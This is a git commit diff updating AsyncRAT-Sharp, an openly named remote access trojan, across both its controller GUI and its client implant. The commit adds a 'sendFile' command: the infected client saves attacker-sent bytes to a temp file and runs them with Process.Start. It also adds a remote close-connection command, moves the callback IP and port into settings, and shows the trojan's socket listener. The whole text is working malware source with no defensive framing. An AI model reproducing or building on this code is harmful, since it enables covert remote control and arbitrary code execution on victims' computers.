Update 0.2
This commit is contained in:
parent
aced7075c3
commit
8341990c59
27
AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
generated
27
AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
generated
@ -35,6 +35,8 @@
|
||||
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||
this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.sendFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.ping = new System.Windows.Forms.Timer(this.components);
|
||||
@ -81,17 +83,33 @@
|
||||
//
|
||||
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.sendMessageToolStripMenuItem});
|
||||
this.sendMessageToolStripMenuItem,
|
||||
this.sendFileToolStripMenuItem,
|
||||
this.closeConnectionToolStripMenuItem});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(200, 34);
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(223, 94);
|
||||
//
|
||||
// sendMessageToolStripMenuItem
|
||||
//
|
||||
this.sendMessageToolStripMenuItem.Name = "sendMessageToolStripMenuItem";
|
||||
this.sendMessageToolStripMenuItem.Size = new System.Drawing.Size(199, 30);
|
||||
this.sendMessageToolStripMenuItem.Size = new System.Drawing.Size(222, 30);
|
||||
this.sendMessageToolStripMenuItem.Text = "Send Message";
|
||||
this.sendMessageToolStripMenuItem.Click += new System.EventHandler(this.sendMessageToolStripMenuItem_Click);
|
||||
//
|
||||
// sendFileToolStripMenuItem
|
||||
//
|
||||
this.sendFileToolStripMenuItem.Name = "sendFileToolStripMenuItem";
|
||||
this.sendFileToolStripMenuItem.Size = new System.Drawing.Size(222, 30);
|
||||
this.sendFileToolStripMenuItem.Text = "Send File";
|
||||
this.sendFileToolStripMenuItem.Click += new System.EventHandler(this.sendFileToolStripMenuItem_Click);
|
||||
//
|
||||
// closeConnectionToolStripMenuItem
|
||||
//
|
||||
this.closeConnectionToolStripMenuItem.Name = "closeConnectionToolStripMenuItem";
|
||||
this.closeConnectionToolStripMenuItem.Size = new System.Drawing.Size(222, 30);
|
||||
this.closeConnectionToolStripMenuItem.Text = "Close Connection";
|
||||
this.closeConnectionToolStripMenuItem.Click += new System.EventHandler(this.closeConnectionToolStripMenuItem_Click);
|
||||
//
|
||||
// statusStrip1
|
||||
//
|
||||
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||
@ -123,6 +141,7 @@
|
||||
this.Controls.Add(this.listView1);
|
||||
this.Controls.Add(this.statusStrip1);
|
||||
this.Name = "Form1";
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||
this.Text = "AsyncRAT-Sharp // NYAN CAT";
|
||||
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed);
|
||||
this.Load += new System.EventHandler(this.Form1_Load);
|
||||
@ -145,6 +164,8 @@
|
||||
private System.Windows.Forms.StatusStrip statusStrip1;
|
||||
private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1;
|
||||
private System.Windows.Forms.Timer ping;
|
||||
private System.Windows.Forms.ToolStripMenuItem sendFileToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem;
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -7,6 +7,7 @@ using Microsoft.VisualBasic;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : AsyncRAT // Simple Socket
|
||||
@ -29,7 +30,7 @@ namespace AsyncRAT_Sharp
|
||||
Listener listener = new Listener();
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
|
||||
thread.Start(Settings.Port);
|
||||
|
||||
this.Text = string.Format("AsyncRAT-Sharp {0} // NYAN CAT", Settings.Version);
|
||||
while (true)
|
||||
{
|
||||
await Task.Delay(1000);
|
||||
@ -47,7 +48,7 @@ namespace AsyncRAT_Sharp
|
||||
else
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "MessageBox";
|
||||
msgpack.ForcePathObject("Packet").AsString = "sendMessage";
|
||||
msgpack.ForcePathObject("Message").AsString = URL;
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
@ -60,6 +61,49 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private void sendFileToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
OpenFileDialog O = new OpenFileDialog();
|
||||
if (O.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "sendFile";
|
||||
msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
||||
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.LV.ForeColor = Color.Red;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "closeConnection";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.LV.ForeColor = Color.Red;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void ping_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (Settings.Online.Count > 0)
|
||||
@ -100,5 +144,7 @@ namespace AsyncRAT_Sharp
|
||||
listView1.Items[hitInfo.Item.Index].Selected = true;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
@ -7,5 +7,6 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
public static List<Clients> Online = new List<Clients>();
|
||||
public static int Port = 8080;
|
||||
public static string Version = "0.2";
|
||||
}
|
||||
}
|
||||
|
@ -12,13 +12,13 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
class Clients
|
||||
{
|
||||
public Socket Client { get; set; }
|
||||
public byte[] Buffer { get; set; }
|
||||
public long Buffersize { get; set; }
|
||||
public bool BufferRecevied { get; set; }
|
||||
public MemoryStream MS { get; set; }
|
||||
private byte[] Buffer { get; set; }
|
||||
private long Buffersize { get; set; }
|
||||
private bool BufferRecevied { get; set; }
|
||||
private MemoryStream MS { get; set; }
|
||||
public ListViewItem LV { get; set; }
|
||||
public event ReadEventHandler Read;
|
||||
public delegate void ReadEventHandler(Clients client, byte[] data);
|
||||
private event ReadEventHandler Read;
|
||||
private delegate void ReadEventHandler(Clients client, byte[] data);
|
||||
|
||||
public Clients(Socket CLIENT)
|
||||
{
|
||||
@ -135,7 +135,6 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("BeginSend " + ex.Message);
|
||||
Disconnected();
|
||||
}
|
||||
}
|
||||
@ -149,7 +148,6 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("EndSend " + ex.Message);
|
||||
Disconnected();
|
||||
}
|
||||
}
|
||||
|
@ -9,8 +9,8 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
class Listener
|
||||
{
|
||||
public Socket listener { get; set; }
|
||||
public static ManualResetEvent allDone = new ManualResetEvent(false);
|
||||
private Socket listener { get; set; }
|
||||
private static ManualResetEvent allDone = new ManualResetEvent(false);
|
||||
|
||||
public void Connect(object port)
|
||||
{
|
||||
@ -39,7 +39,7 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
}
|
||||
}
|
||||
|
||||
public void EndAccept(IAsyncResult ar)
|
||||
private void EndAccept(IAsyncResult ar)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
@ -19,6 +19,13 @@ using System.Windows.Forms;
|
||||
|
||||
namespace Client
|
||||
{
|
||||
class Settings
|
||||
{
|
||||
public static string IP = "127.0.0.1";
|
||||
public static int Port = 8080;
|
||||
public static string Version = "0.2";
|
||||
}
|
||||
|
||||
class Program
|
||||
{
|
||||
public static Socket client { get; set; }
|
||||
@ -46,7 +53,7 @@ namespace Client
|
||||
client.SendBufferSize = 50 * 1024;
|
||||
client.ReceiveTimeout = -1;
|
||||
client.SendTimeout = -1;
|
||||
client.Connect("127.0.0.1", 8080);
|
||||
client.Connect(Settings.IP, Settings.Port);
|
||||
Debug.WriteLine("Connected!");
|
||||
Buffer = new byte[1];
|
||||
Buffersize = 0;
|
||||
@ -163,7 +170,7 @@ namespace Client
|
||||
unpack_msgpack.DecodeFromBytes((byte[])Data);
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "MessageBox":
|
||||
case "sendMessage":
|
||||
{
|
||||
MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
|
||||
}
|
||||
@ -174,6 +181,25 @@ namespace Client
|
||||
Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
|
||||
}
|
||||
break;
|
||||
|
||||
case "sendFile":
|
||||
{
|
||||
string FullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath);
|
||||
Process.Start(FullPath);
|
||||
}
|
||||
break;
|
||||
|
||||
case "closeConnection":
|
||||
{
|
||||
try
|
||||
{
|
||||
client.Shutdown(SocketShutdown.Both);
|
||||
}
|
||||
catch { }
|
||||
Environment.Exit(0);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user